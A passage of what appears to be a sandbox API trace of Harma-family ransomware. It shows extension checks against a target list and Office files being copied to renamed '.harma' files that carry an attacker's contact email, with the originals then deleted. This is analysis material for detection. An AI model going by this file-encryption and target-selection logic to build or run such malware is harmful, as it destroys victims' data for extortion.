(lpString1=".xlsx", lpString2="2.MID") returned -1 [0143.236] lstrlenW (lpString=".ppt") returned 4 [0143.236] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.236] lstrlenW (lpString=".zip") returned 4 [0143.236] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.236] lstrlenW (lpString=".rar") returned 4 [0143.236] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.236] lstrlenW (lpString=".bz2") returned 4 [0143.236] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.236] lstrlenW (lpString=".7z") returned 3 [0143.236] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.236] lstrlenW (lpString=".dbf") returned 4 [0143.236] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.237] lstrlenW (lpString=".1cd") returned 4 [0143.237] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.237] lstrlenW (lpString=".jpg") returned 4 [0143.237] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.237] lstrlenW (lpString=".doc") returned 4 [0143.237] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.237] lstrlenW (lpString=".docx") returned 5 [0143.237] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0143.237] lstrlenW (lpString=".pdf") returned 4 [0143.237] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.237] lstrlenW (lpString=".xls") returned 4 [0143.237] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.237] lstrlenW (lpString=".xlsx") returned 5 [0143.237] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0143.237] lstrlenW (lpString=".ppt") returned 4 [0143.237] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.237] lstrlenW (lpString=".zip") returned 4 [0143.237] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.237] lstrlenW (lpString=".rar") returned 4 [0143.237] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.237] lstrlenW (lpString=".bz2") returned 4 [0143.237] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.237] lstrlenW (lpString=".7z") returned 3 [0143.237] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.237] lstrlenW (lpString=".dbf") returned 4 [0143.237] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.238] lstrlenW (lpString=".1cd") returned 4 [0143.238] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0143.238] lstrlenW (lpString=".jpg") returned 4 [0143.238] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.238] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.238] lstrlenW (lpString="SHOW_01.MID") returned 11 [0143.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0143.239] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=6392) returned 1 [0143.239] CloseHandle (hObject=0x344) returned 1 [0143.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0143.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0143.239] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.239] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0143.240] GetLastError () returned 0x0 [0143.240] ReadFile (in: hFile=0x344, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x18f8, lpOverlapped=0x0) returned 1 [0143.527] WriteFile (in: hFile=0x214, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x1900, lpOverlapped=0x0) returned 1 [0143.528] ReadFile (in: hFile=0x344, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.528] WriteFile (in: hFile=0x214, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0143.528] SetEndOfFile (hFile=0x214) returned 1 [0143.898] CloseHandle (hObject=0x214) returned 1 [0144.018] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.018] SetEndOfFile (hFile=0x344) returned 1 [0144.020] CloseHandle (hObject=0x344) returned 1 [0144.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 1 [0144.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.113] lstrlenW (lpString=".doc") returned 4 [0144.113] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0144.113] lstrlenW (lpString=".docx") returned 5 [0144.113] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0144.113] lstrlenW (lpString=".pdf") returned 4 [0144.113] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0144.113] lstrlenW (lpString=".xls") returned 4 [0144.113] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0144.113] lstrlenW (lpString=".xlsx") returned 5 [0144.113] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0144.113] lstrlenW (lpString=".ppt") returned 4 [0144.113] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0144.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.113] lstrlenW (lpString=".zip") returned 4 [0144.113] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0144.113] lstrlenW (lpString=".rar") returned 4 [0144.113] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0144.113] lstrlenW (lpString=".bz2") returned 4 [0144.113] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0144.113] lstrlenW (lpString=".7z") returned 3 [0144.113] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0144.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.113] lstrlenW (lpString=".dbf") returned 4 [0144.113] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0144.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.113] lstrlenW (lpString=".1cd") returned 4 [0144.113] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0144.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.114] lstrlenW (lpString=".jpg") returned 4 [0144.114] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0144.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.114] lstrlenW (lpString=".doc") returned 4 [0144.114] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0144.114] lstrlenW (lpString=".docx") returned 5 [0144.114] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0144.114] lstrlenW (lpString=".pdf") returned 4 [0144.114] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0144.114] lstrlenW (lpString=".xls") returned 4 [0144.114] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0144.114] lstrlenW (lpString=".xlsx") returned 5 [0144.114] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0144.114] lstrlenW (lpString=".ppt") returned 4 [0144.114] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0144.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.114] lstrlenW (lpString=".zip") returned 4 [0144.114] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0144.114] lstrlenW (lpString=".rar") returned 4 [0144.114] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0144.114] lstrlenW (lpString=".bz2") returned 4 [0144.114] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0144.114] lstrlenW (lpString=".7z") returned 3 [0144.114] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0144.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.114] lstrlenW (lpString=".dbf") returned 4 [0144.114] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0144.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.114] lstrlenW (lpString=".1cd") returned 4 [0144.114] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0144.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0144.115] lstrlenW (lpString=".jpg") returned 4 [0144.115] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0144.115] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0144.115] lstrlenW (lpString="Apex.eftx") returned 9 [0144.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.133] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=218310) returned 1 [0144.133] CloseHandle (hObject=0x354) returned 1 [0144.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20 [0144.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.134] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.134] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0144.135] GetLastError () returned 0x0 [0144.135] ReadFile (in: hFile=0x354, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x354c6, lpOverlapped=0x0) returned 1 [0144.140] WriteFile (in: hFile=0x330, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x354d0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x354d0, lpOverlapped=0x0) returned 1 [0144.145] ReadFile (in: hFile=0x354, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.145] WriteFile (in: hFile=0x330, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0144.145] SetEndOfFile (hFile=0x330) returned 1 [0144.145] CloseHandle (hObject=0x330) returned 1 [0144.145] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.145] SetEndOfFile (hFile=0x354) returned 1 [0144.151] CloseHandle (hObject=0x354) returned 1 [0144.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 1 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.153] lstrlenW (lpString=".doc") returned 4 [0144.153] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.153] lstrlenW (lpString=".docx") returned 5 [0144.153] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.153] lstrlenW (lpString=".pdf") returned 4 [0144.153] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.153] lstrlenW (lpString=".xls") returned 4 [0144.153] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.153] lstrlenW (lpString=".xlsx") returned 5 [0144.153] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.153] lstrlenW (lpString=".ppt") returned 4 [0144.153] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.153] lstrlenW (lpString=".zip") returned 4 [0144.153] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.153] lstrlenW (lpString=".rar") returned 4 [0144.153] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.153] lstrlenW (lpString=".bz2") returned 4 [0144.153] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.153] lstrlenW (lpString=".7z") returned 3 [0144.153] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.153] lstrlenW (lpString=".dbf") returned 4 [0144.153] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.154] lstrlenW (lpString=".1cd") returned 4 [0144.154] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.154] lstrlenW (lpString=".jpg") returned 4 [0144.154] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.154] lstrlenW (lpString=".doc") returned 4 [0144.154] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.154] lstrlenW (lpString=".docx") returned 5 [0144.154] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.154] lstrlenW (lpString=".pdf") returned 4 [0144.154] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.154] lstrlenW (lpString=".xls") returned 4 [0144.154] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.154] lstrlenW (lpString=".xlsx") returned 5 [0144.154] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.154] lstrlenW (lpString=".ppt") returned 4 [0144.154] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.154] lstrlenW (lpString=".zip") returned 4 [0144.154] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.154] lstrlenW (lpString=".rar") returned 4 [0144.154] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.154] lstrlenW (lpString=".bz2") returned 4 [0144.154] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.154] lstrlenW (lpString=".7z") returned 3 [0144.154] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.154] lstrlenW (lpString=".dbf") returned 4 [0144.154] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.155] lstrlenW (lpString=".1cd") returned 4 [0144.155] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0144.155] lstrlenW (lpString=".jpg") returned 4 [0144.155] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.155] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0144.155] lstrlenW (lpString="Apothecary.eftx") returned 15 [0144.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.156] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=49025) returned 1 [0144.156] CloseHandle (hObject=0x354) returned 1 [0144.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 [0144.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.157] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.157] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0144.157] GetLastError () returned 0x0 [0144.157] ReadFile (in: hFile=0x354, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xbf81, lpOverlapped=0x0) returned 1 [0144.160] WriteFile (in: hFile=0x330, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xbf90, lpOverlapped=0x0) returned 1 [0144.162] ReadFile (in: hFile=0x354, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.162] WriteFile (in: hFile=0x330, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0144.163] SetEndOfFile (hFile=0x330) returned 1 [0144.163] CloseHandle (hObject=0x330) returned 1 [0144.163] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.163] SetEndOfFile (hFile=0x354) returned 1 [0144.168] CloseHandle (hObject=0x354) returned 1 [0144.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 1 [0144.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.169] lstrlenW (lpString=".doc") returned 4 [0144.169] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.169] lstrlenW (lpString=".docx") returned 5 [0144.169] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.169] lstrlenW (lpString=".pdf") returned 4 [0144.169] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.169] lstrlenW (lpString=".xls") returned 4 [0144.169] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.169] lstrlenW (lpString=".xlsx") returned 5 [0144.169] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.169] lstrlenW (lpString=".ppt") returned 4 [0144.169] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.169] lstrlenW (lpString=".zip") returned 4 [0144.169] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.169] lstrlenW (lpString=".rar") returned 4 [0144.169] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.169] lstrlenW (lpString=".bz2") returned 4 [0144.169] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.169] lstrlenW (lpString=".7z") returned 3 [0144.169] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.169] lstrlenW (lpString=".dbf") returned 4 [0144.169] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.169] lstrlenW (lpString="C:\\Program 